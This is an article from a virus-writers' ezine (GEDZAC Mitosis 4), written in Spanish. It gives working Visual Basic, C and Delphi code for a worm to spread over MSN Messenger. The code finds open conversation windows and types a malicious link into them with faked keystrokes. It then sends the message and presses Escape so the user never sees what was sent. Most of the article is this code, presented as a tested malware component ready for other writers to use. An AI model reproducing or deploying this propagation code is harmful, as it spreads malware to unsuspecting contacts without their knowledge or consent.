#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Propagacion por MSN
#Autor: MOWPaX[GEDZAC]
<mowpax[at]gedzac[dot]com>

Bueno, como todos sabemos, el programa Messenger es utilizado por el 99% de las computadoras conectadas a internet.Debico a esta enorme cifra los virus y demas progamas maliciosos buscan propagarse por medio de este servicio brindado por Windows.Para ello, los virus utilizan distintos metodos, el mas popular es usando las famosas Apis.Algunos antivirus ya reconocen a los programas que utilizan dichas apis para producir una reproduccion de si mismos y los detectan como peligrosos, bloqueando su acceso.

Por mi parte implente un metodo que consiste en:

    * Listar las ventanas

    * Verificar si alguna ventana es del MSN

    * De ser asi pasamos a la Infeccion

Esto lo repito cada cierto tiempo.

Pasemos a la "Accion":

En el modulo escribimos esto:
 

Public Function Convers(ByVal hwnd As Long, ByVal lParam As Long) As Boolean
    Dim Caption As String
    Caption = Space$(GetWindowTextLength(hwnd) + 1)
    GetWindowText hwnd, Caption, Len(Caption) 'traducimos
    Caption = Left$(Caption, Len(Caption) - 1) 'cortamos
    If Caption <> "" Then
        If InStr(LCase(Caption), "conversación") <> 0 Then 'verificamos si la ventana es del msn en español
            Form1.Charla (hwnd) 'Pasamos a infectar
        End If
    End If
    Convers = True
End Function

 

Public Sub WindowHandle(ByVal hWindow As Long, ByVal mCase As eESTADOWIN)
    If mCase = eWM_CLOSE Then 'Maximizamos las ventanas del MSN
        SendMessage hWindow, eWM_CLOSE, 0, 0
    Else
        ShowWindow hWindow, mCase
    End If
End Sub

 

EN EL FORM:

 

Private Sub Form_Load()

    EnumWindows AddressOf Convers, ByVal 0&

End Sub

 

Sub Charla(hwnd)
    Dim Spam As String
    DoEvents
    Spam = "mira www.virus.com"
    DoEvents
    WindowHandle Trim(Str$(hwnd)), eSW_MAXIMIZE 'Maximizamos la ventana del MSN
    DoEvents
    SetWindowPos Trim(Str$(hwnd)), -1, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or         SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOCOPYBITS 'Le damos el foco a la ventana
    SetWindowPos Trim(Str$(hwnd)), -2, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or         SWP_NOMOVE Or SWP_NOSIZE Or SWP_NOCOPYBITS 'aunke este de cualkier manera
    SetForegroundWindow Trim(Str$(hwnd))
    DoEvents
    SendKeys Spam 'Escribimos el SPAM
    DoEvents
    SendKeys "~" 'Mandamos el Spam
    DoEvents
    SendKeys "{Esc}" 'Cerramos la ventana del msn
    DoEvents
End Sub

 

Apis Utilizadas:

 

Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Boolean
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)
Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const HWND_TOPMOST = -1
Public Const HWND_NOTOPMOST = -2
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOACTIVATE = &H10
Public Const SWP_SHOWWINDOW = &H40
Public Const SWP_NOOWNERZORDER = &H200 ' No usar el orden Z del propietario
Public Const SWP_NOCOPYBITS = &H100
Public Const SWP_NOREDRAW = &H8
 

Explicacion:
 

El form llama a la funcion que esta en el modulo. Dicha funcion lista todas las ventanas abiertas con sus respectivos caption's. Si alguno de esos caption con tiene la palabra "Conversación" significa que es una ventana del MSN (99%), entonces llamamos el Sub Charla, de alli guardamos en una variable el spam a enviar, luego le damos el foco a la ventana y la maxizamos para que no alla errores. Pasamos a enviar las teclas con un simple SendKeys, luego damos al Enter, y finalizamos con un Escape de teclas para no poder visualizar el spam enviado.

Entiendo que es un metodo simple y tal vez puedan pensar que no es muy efectivo, pero creanme que si lo es, a parte creo que vale mas la implementacion de un metodo inventado por vos que copiar el metodo ya inventado, pero solo es una opinion. Siempre me gusta inventar cosas, e intentar ser original y unico a la hora de programar, jeje, a veces no se logra.

Ahora expongo un code en C que hice tambien.

---------------------------------------------------------------------

#include <windows.h>
#include <stdio.h>

char MSN[13] = "Conversación";
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);

int main()
{
EnumWindows((WNDENUMPROC)EnumWindowsProc, 0);
}

BOOL EnumWindowsProc(HWND hWnd, long lParam)
{
    char Buff[255], NameOfClass[255];

    GetWindowText(hWnd, Buff, 254); // titlul ferestrei
    GetClassName(hWnd, NameOfClass, 254); // clasa
if (Buff == NULL);
{

    if (strstr( Buff, MSN ) != NULL)
    {
        ShowWindow(hWnd,SW_MAXIMIZE );
        SetForegroundWindow(hWnd);
        Sleep(10);
        keybd_event('S', 0, 0, 0);
        keybd_event('P', 0, 0, 0);
        keybd_event('A', 0, 0, 0);
        keybd_event('M', 0, 0, 0);
        keybd_event(VK_RETURN, 0, 0, 0);
        Sleep(10);
    }
}
    return TRUE;
}

---------------------------------------------------------------------

 

Ahora en Delphi

---------------------------------------------------------------------

Procedure Manda_Spam(ww:hwnd);
Begin
    Sleep(200);
    SetForegroundWindow(ww);
    keybd_event(ord('S'),0,0,0);

    keybd_event(ord('P'),0,0,0);

    keybd_event(ord('A'),0,0,0);

    keybd_event(ord(M'),0,0,0);
end;


Function Busqueda(CL,CC: string):Boolean;
    var i :integer;
Begin
    Busqueda:=false;
    for i := 1 to (Length(CL)-Length(CC)+1) do
    Begin
        If AnsiUpperCase(Copy(CL,i,Length(CC))) = AnsiUpperCase(CC) then
        Begin
            Busqueda:=True;
        end;

    end;
end;


function EnumWindowsProc(handle: Thandle; Param: lParam): boolean; stdcall;
var
    Buff:Pchar;
begin
    Buff:='';
    result:= TRUE;
    GetMem(Buff,254);
    GetWindowText(handle, Buff, 254);
    If Busqueda(String(Buff),'conversación') then
    Manda_Spam(handle);
end;

 

---------------------------------------------------------------------

 

Bueno espero que se halla entendido, lamento decir que no soy bueno para explicar los codes, tal vez sea media corta mi explicacion, pero solo quiero exponer la teoria, luego el trabajo de crear el codigo tendrian que hacerlos ustedes. Expuse 3 codes (uno en VB, en C, y en Delphi) para que prueben y verifiquen como les resulta. Ambos codes funcionan perfectamente.

Saludos.

 

MOWPaX.

 

(C) Mitosis 4 - GEDZAC LABS